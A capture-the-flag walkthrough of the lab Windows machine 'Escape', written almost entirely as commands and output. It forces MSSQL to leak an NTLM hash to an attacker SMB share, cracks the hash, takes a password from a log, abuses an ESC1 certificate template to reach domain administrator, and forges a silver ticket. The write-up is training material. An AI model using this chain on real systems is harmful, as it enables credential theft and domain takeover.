Escape

Overview

A Windows machine created by Geiseric features techniques including:

Active Directory
MSSQL Server UNC Path Injection
Credentials Harvest
Misconfigured Certificate Templates
Silver Ticket Attack

Reconnaissance

Services Discovery

The port scanning result suggests that the target is a domain controller and we got an MSSQL server running on it.

Also, we may access the target remotely later via WinRM.

$ sudo nmap -n -p- -Pn -v -sS -T4 --min-rate 1000 10.129.140.112 -oN ports.nmap
...
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
...

RootDSE

We can use ldapsearch to get the domain name sequel.htb.

$ ldapsearch -H ldap://10.129.140.112 -b '' -s base -x
...
schemaNamingContext: CN=Schema,CN=Configuration,DC=sequel,DC=htb
namingContexts: DC=sequel,DC=htb
namingContexts: CN=Configuration,DC=sequel,DC=htb
...

We can check the target's hostname dc.sequel.htb with dig.

$ dig @<target_ip> dc.sequel.htb
...
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;dc.sequel.htb.                 IN      A

;; ANSWER SECTION:
dc.sequel.htb.          1200    IN      A       10.129.140.112

SMB

It seems that the SMB null session authentication is enabled on the target.

$ smbclient -N -L \\\\10.129.140.112\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Public          Disk
        SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available

SMB and Null Sessions: Why Your Pen Test is Probably Wrong | Microsoft Community HubTECHCOMMUNITY.MICROSOFT.COM

We can further enumerate the share Public using smbclient and found a PDF file SQL Server Procedures.pdf.

$ smbclient -N \\\\10.129.140.112\\Public
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Nov 19 11:51:25 2022
  ..                                  D        0  Sat Nov 19 11:51:25 2022
  SQL Server Procedures.pdf           A    49551  Fri Nov 18 13:39:43 2022

                5184255 blocks of size 4096. 1446274 blocks available

SQL Server Procedures.pdf

We can learn a lot of information from the PDF file:

Domain name sequel.htb.
The target company cloned the DC mockup to a dedicated mock SQL instance for the test.
Users can authenticate to the MSSQL server using Windows authentication on a domain-joined machine.
Users on a non-domain-joined machine need to use cmdkey before authenticate to the MSSQL.
We can authenticate the MSSQL server with credential PublicUser:GuestUserCantWrite1 using SQL Server Authentication.
Some user names and emails including Ryan, Tom, Brandon, and brandon.brown@sequel.htb.

MSSQL

We can use Impacket-mssqlclient, which uses SQL server authentication by default, to login to the MSSQL server now.

$ impacket-mssqlclient PublicUser:GuestUserCantWrite1@escape

The instance we are connecting to is DC\SQLMOCK.

SQL> select @@servername;

----------
DC\SQLMOCK

Initial Access

UNC Path Injection

We can use the stored procedure xp_dirtree to force the MSSQL server to authenticate to a SMB share we control.

We force the MSSQL server to authenticate with our SMB server.

SQL> EXEC xp_dirtree "\\<IP>\share"
subdirectory   depth
------------   -----

We set up a SMB sesrver using Impacket and capture the NTLM authentication messages.

$ sudo impacket-smbserver -smb2support share .
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.129.140.112,59181)
[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:ccaa3775661de1f13e604b4852ca1bb4:0101000000000000006614269f9ed901a11548007705bd96000000000100100062007a00430042004d00650050006f000300100062007a00430042004d00650050006f00020010006c0065005800420064006e0055005a00040010006c0065005800420064006e0055005a0007000800006614269f9ed90106000400020000000800300030000000000000000000000000300000ba7e14ae44c472a55ae9f2e3595120b049681885ea1cda180cb1ef3a3eef4d650a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320032000000000000000000
[*] Closing down connection (10.129.140.112,59181)
[*] Remaining connections []

We can then crack it using hashcat with mode 5600 now and we get a credential SQL_SVC:REGGIE1234ronnie.

$ hashcat -m 5600 --force mssql/hash.txt <path_to_rockyou>
...
SQL_SVC::sequel:aaaaaaaaaaaaaaaa:ccaa3775661de1f13e604b4852ca1bb4:0101000000000000006614269f9ed901a11548007705bd96000000000100100062007a00430042004d00650050006f000300100062007a00430042004d00650050006f00020010006c0065005800420064006e0055005a00040010006c0065005800420064006e0055005a0007000800006614269f9ed90106000400020000000800300030000000000000000000000000300000ba7e14ae44c472a55ae9f2e3595120b049681885ea1cda180cb1ef3a3eef4d650a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00320032000000000000000000:REGGIE1234ronnie

Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: SQL_SVC::sequel:aaaaaaaaaaaaaaaa:ccaa3775661de1f13e...000000
...

WinRM

We can access the target using evil-winrm now.

$ evil-winrm -i <ip> -u sql_svc -p REGGIE1234ronnie

Discovery

LDAP Search

We can't use ldapsearch directly because LDAP signing is enabled.

$ ldapsearch -D sql_svc@sequel.htb -x -b 'dc=sequel,dc=htb' -H ldap://escape -w REGGIE1234ronnie
ldap_bind: Strong(er) authentication required (8)
        additional info: 00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v4563

We can use the Python package ldap3 to do the LDAP query as the code of bloodhound.py.

import cmd, logging
from ldap3 import Server, Connection, NTLM, ALL, SASL, KERBEROS

logger = logging.getLogger(__name__)

class ldapsearch(cmd.Cmd):
    def __init__(self, domain, user, passwd, ip):
        super().__init__()
        server = Server("ldaps://%s:3269" % ip, get_info=ALL)
        self.conn = Connection(server, user=f"{domain}\\{user}", auto_referrals=False, password=passwd, authentication=NTLM)
        logger.debug(f"bind={self.conn.bind()}")
    
    def default(self, query):
        self.conn.search(search_base='',
            search_filter = query)
        for entry in self.conn.response:
            print(entry['dn'], entry['attributes'])

l = ldapsearch('sequel.htb', 'sql_svc', 'REGGIE1234ronnie', 'escape')
l.cmdloop()

BloodHound.py/bloodhound/ad/authentication.py at 760e6ee11375343da443574b1c6b2bd1509a0b8e · dirkjanm/BloodHound.pyGitHub

User Ryan.Cooper

We found an MSSQL log file C:\SQLServer\Logs\ERRORLOG.BAK.

*Evil-WinRM* PS C:\SQLServer\Logs> cat ERRORLOG.BAK
...
2022-11-18 13:43:07.44 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon       Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
...

We see the user Ryan.Cooper type his password incorrectly and we can try to login to the target using this password now.

$ evil-winrm -i escape -u ryan.cooper -p NuclearMosquito3

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper

Group

We see that the user Ryan is a member of the group Certificate Service DCOM Access member of which can connect to certification authorities in the enterprise.

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
...

It seems that we may abuse the AD CS to achieve domain escalation.

AD CS Domain Escalation - HackTricksbook.hacktricks.xyz

Privilege Escalation

Certified Pre-Owned

Offensive techniques including certificate stealing, persistence, and escalation techniques are outlined in the Certified Pre-Owned - Abusing Active Directory Certificate Services whitepaper.

See Certified Pre-Owned.

Technique ESC1

Users obtain certificates from CA through the certificate enrollment process. Some misconfiguration may result in domain escalation.

RedTeaming_CheatSheet/windows-ad/Domain-Privilege-Escalation.md at main · 0xJs/RedTeaming_CheatSheetGitHub

We can use the tool Certify.exe to enumerate misconfigured certificate templates.

GitHub - GhostPack/Certify: Active Directory certificate abuse.GitHub

Or, we can use the Python package certipy to enumerate from Linux.

GitHub - ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuseGitHub

And, we can find a vulnerable certificate template named UserAuthentication:

$ python3 -m pip install certify-ad
$ certipy find -u 'ryan.cooper@sequel' -p 'NuclearMosquito3' -dc-ip 'escape' -vulnerable -stdout
...
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sequel-DC-CA
    DNS Name                            : dc.sequel.htb
    Certificate Subject                 : CN=sequel-DC-CA, DC=sequel, DC=htb
...
Certificate Templates
  0 
    Template Name                       : UserAuthentication
    Display Name                        : UserAuthentication
    Certificate Authorities             : sequel-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : 16777216
                                          65536
                                          ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Domain Users
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Administrator
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Certificate Signing Request

We can now use certipy to request the certificate for the user administrator now.

$certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 -upn administrator@sequel.htb -target sequel.htb -ca sequel-dc-ca -template UserAuthentication 
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Authentication

We can request the TGT ticket for the user administrator using certificate now.

$ sudo ntpdate -u escape
$ certipy auth -pfx administrator.pfx 
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee

And, we can login to the target using evil-winrm now.

$ evil-winrm -i escape -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee

Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
sequel\administrator

Miscellaneous

Silver Ticket Attack

Since we got the password of the service account SQL_SVC, we can mint a service-granting ticket for a non-existing SPN using the password hash as in a silver ticket attack.

First, we need the domain SID, in our case S-1-5-21-4078382237-1492182817-2568127209:

$ evil-winrm -u sql_svc -i escape -p REGGIE1234ronnie
...
*Evil-WinRM* PS C:\Users\sql_svc\Documents> whoami /all

USER INFORMATION
----------------

User Name      SID
============== ==============================================
sequel\sql_svc S-1-5-21-4078382237-1492182817-2568127209-1106
...

We also need the NT-hash 1443ec19da4dac4ffc953bca1b57b4cf:

from Cryptodome.Hash import MD4
from binascii import hexlify

password = 'REGGIE1234ronnie'
hash = MD4.new()
hash.update(password.encode('utf_16le'))
print(hexlify(hash.digest()).upper())

We can mint the TGS for the user Administrator using Impacket's ticketer with a non-existing SPN without touching the DC now.

$ impacket-ticketer -nthash 1443EC19DA4DAC4FFC953BCA1B57B4CF -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip escape -spn MSSQL/DC.SEQUEL.HTB Administrator
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sequel.htb/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

We can now login the MSSQL service using the account administrator now.

$ export KRB5CCNAME=Administrator.ccache
$ impacket-mssqlclient -k dc.sequel.htb
...
SQL> select suser_name()
                       
--------------------   
sequel\Administrator

PreviousForest NextTimelapse

Last updated 2 years ago

hashtagOverview

hashtagReconnaissance

hashtagServices Discovery

hashtagRootDSE

hashtagSMB

hashtagSQL Server Procedures.pdf

hashtagMSSQL

hashtagInitial Access

hashtagUNC Path Injection

hashtagWinRM

hashtagDiscovery

hashtagLDAP Search

hashtagUser Ryan.Cooper

hashtagGroup

hashtagPrivilege Escalation

hashtagCertified Pre-Owned

hashtagTechnique ESC1

hashtagCertificate Signing Request

hashtagAuthentication

hashtagMiscellaneous

hashtagSilver Ticket Attack